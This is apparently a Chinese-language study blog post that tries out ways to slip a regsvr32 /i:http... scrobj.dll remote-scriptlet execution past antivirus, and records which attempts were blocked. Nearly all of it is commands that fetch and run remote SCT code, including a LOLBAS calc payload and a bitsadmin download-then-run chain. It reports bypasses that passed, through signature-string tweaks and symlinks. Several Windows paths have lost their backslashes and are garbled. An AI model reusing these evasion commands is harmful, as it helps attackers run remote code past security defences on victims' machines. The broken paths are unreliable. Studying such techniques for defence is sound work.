前言:看了这篇突然想起,2019年刚开始学习的时候在心东的视频教程中,他当时在360的情况下绕Regsvr32
跟这篇文章也有点相似,不过这个人的思路更加的广阔!
支持操作系统:Windows Vista,Windows 7,Windows 8,Windows 8.1,Windows 10
所需要的权限:用户
先介绍下Regsvr32,是个二进制文件,可用于执行外部SCT文件中的代码!
参数讲解:
/u:反注册DLL文件
/i:在使用 /u 反注册时调用 DllInstall
/s:安静模式下执行命令,即在成功注册/反注册DLL文件前提下不显示结果提示框
/c:控制端口
/n:不调用DllRegisterServer,必须与/i连用
DllInstall
:仅用于应用程序安装和设置。应用程序不应调用它。它的用途与DllRegisterServer或DllUnregisterServer相似。与这些函数不同,DllInstall使用一个输入字符串,该字符串可用于指定各种不同的操作。这允许根据任何适当的条件以多种方式安装DLL。
大家可以理解DllInstall
的时候可以带命令行参数进行注册,那么也可以进行自定义的操作,例如远程调用!
这里主要学习总结绕过手段,如果需要详细图文学习的话,参考最下面的文章!
标准的运行命令格式:regsvr32.exe /i:http://example.com/file.sct /u /s scrobj.dll
,这个结果是会被Windows Defender进行拦截的!
绕过过程如下:
第一种尝试方法:命令参数的交换
/u /s 前后交换
regsvr32.exe /i:http://example.com/file.sct /s /u scrobj.dll
拦截
结果无法绕过
第二种尝试方法:添加干扰符
这里使用的干扰符只有"
,^
,自己知道的还有个@
regsvr32.exe /i:h^t^t^p://example.com/file.sct /s /u scrobj.dll
拦截
regsvr32.exe /i:h"t"t"p://example.com/file.sct /s /u scrobj.dll
拦截
第三种尝试方法:绕过windows目录调用,该方法对于某些av监控windows目录下的exe文件有一定的绕过作用!
copy c:windowssystem32
egsvr32.exe c:programdata
eg32.exe
reg32.exe /i:http://example.com/file.sct /s /u scrobj.dll
拦截
copy c:windowssystem32scrobj.dll Myscrobj.dll
regsvr32.exe /i:http://example.com/file.sct /s /u Myscrobj.dll
拦截
第四种尝试方法:特征码修改
这里自己理解的特征码修改实际上就是指的就是 引起AV检测的字符
regsvr32.exe /i:http://example.com/file.txt /s /u scrobj.dll
拦截
regsvr32.exe /i:http://example.com/file.txt scrobj.dll
拦截
regsvr32.exe /i:http:// scrobj.dll
拦截
regsvr32.exe /i:http: scrobj.dll
拦截
regsvr32.exe /i:ftp: scrobj.dll
不拦截
regsvr32.exe /i:http: Myscrobj.dll
不拦截
那么可以确定的是 拦截情况为:http
和scrobj.dll
的组合
第五种尝试方法:符号链接
权限要求:本地管理员
在linux中有软链接和硬链接,在windows中也有类似的操作符号链接
Mklink.exe c:programdataMyscrobj.dll c:windowssystem32scrobj.dll
regsvr32.exe /i:http://example.com/file.sct /u /s Myscrobj.dll
不拦截,但是记得操作的时候在链接的dll目录下进行!
第六种尝试方法:数据流(ADS)
dir /R
可以去发现本地的备用数据流
默认情况下,我们查看称为$DATA
的特定流。可以向文件中添加其他流并向其中添加内容。
Type c:windowssystem32scrobj.dll > test.txt:Myscrobj.dll
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct test.txt:Myscrobj.dll
拦截
第七种尝试方法:本地磁盘执行
那么也就是下载到本地然后进行执行,不去远程执行!
bitsadmin /transfer download /download /priority normal https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct %TEMP% est.txt && regsvr32.exe /s /u /i:%TEMP% est.txt scrobj.dll
拦截
太棒了,屁都没学到!
参考文章:https://www.trustedsec.com/blog/discovering-the-anti-virus-signature-and-bypassing-it/